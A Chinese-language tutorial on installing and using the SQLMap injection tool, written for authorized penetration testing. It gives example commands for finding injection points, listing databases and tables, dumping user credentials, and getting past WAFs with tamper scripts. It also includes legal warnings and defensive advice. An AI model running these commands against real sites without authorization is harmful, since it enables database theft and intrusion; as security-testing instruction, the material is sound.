SQLMap 是一款自动化检测与利用 SQL 注入漏洞的开源渗透测试工具。**必须仅在获得合法授权的情况下(如渗透测试、漏洞评估)使用,未经授权的测试属于违法行为,后果自负。**
安装 SQLMap(环境准备)
-
Linux/macOS
通过终端安装:git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git cd sqlmap python sqlmap.py -h # 验证安装
-
Windows
- 安装 Python(3.6+)
- 下载 SQLMap 源码包解压,在解压目录打开命令行:
python sqlmap.py -h
核心命令结构
基础语法:
python sqlmap.py [选项] -u "目标URL"
-u
:指定目标 URL(必需参数)--data
:POST 请求数据(如登录表单)--cookie
:传递会话 Cookie
常用参数详解(按场景分类)
基础探测
python sqlmap.py -u "http://example.com/page?id=1" # 自动检测注入点
--batch
:非交互模式(自动选默认选项)--risk=3
:风险等级(1-3,越高越激进)--level=5
:测试深度(1-5,越高检测越全面)
指定注入点
python sqlmap.py -u "http://example.com/login" --data="username=admin&password=123" # 测试 POST 参数 python sqlmap.py -u "http://example.com/page" --cookie="PHPSESSID=abc123" # 测试 Cookie
获取数据库信息
python sqlmap.py -u "http://example.com?id=1" --dbs # 列出所有数据库 python sqlmap.py -u "http://example.com?id=1" -D testdb --tables # 列出 testdb 的所有表 python sqlmap.py -u "http://example.com?id=1" -D testdb -T users --columns # 列出 users 表的字段
导出数据
python sqlmap.py -u "http://example.com?id=1" -D testdb -T users -C "username,password" --dump # 导出指定字段数据 python sqlmap.py -u "http://example.com?id=1" --dump-all # 导出整个数据库(谨慎使用)
绕过防护机制
python sqlmap.py -u "http://example.com?id=1" --tamper="space2comment" # 使用混淆脚本绕过 WAF python sqlmap.py -u "http://example.com?id=1" --random-agent # 随机 User-Agent 头
连接数据库
python sqlmap.py -d "mysql://user:pass@192.168.1.1:3306/dbname" # 直接连接数据库(需凭证)
实战示例
场景 1:检测 GET 参数注入
python sqlmap.py -u "http://vuln-site.com/product.php?id=1" --batch --dbs
场景 2:爆破管理员密码(POST 表单)
python sqlmap.py -u "http://vuln-site.com/login.php" --data="user=admin&pass=test" -T users --dump
安全与合规注意事项
- 法律边界
- 仅测试拥有书面授权的目标。
- 禁止对非授权网站、政府或关键基础设施扫描。
- 道德准则
- 发现漏洞后及时报告给所有者,勿私自利用。
- 测试时使用
--safe-url
和--safe-freq
避免破坏服务。
- 防护建议
目标网站应使用参数化查询、WAF、输入过滤等措施防御注入攻击。
常见错误解决
- “target URL is not injectable”:目标可能无漏洞,或需调整
--level/--risk
。 - 连接超时:添加
--timeout=30
或检查网络。 - WAF 拦截:结合
--tamper
脚本(如charencode
)和--delay=2
降低请求频率。
引用说明
本文参考 SQLMap 官方文档(GitHub – sqlmapproject/sqlmap)及 OWASP SQL 注入防护指南(OWASP SQL Injection),工具使用需遵守《网络安全法》及相关法律法规。
原创文章,发布者:酷番叔,转转请注明出处:https://cloud.kd.cn/ask/6337.html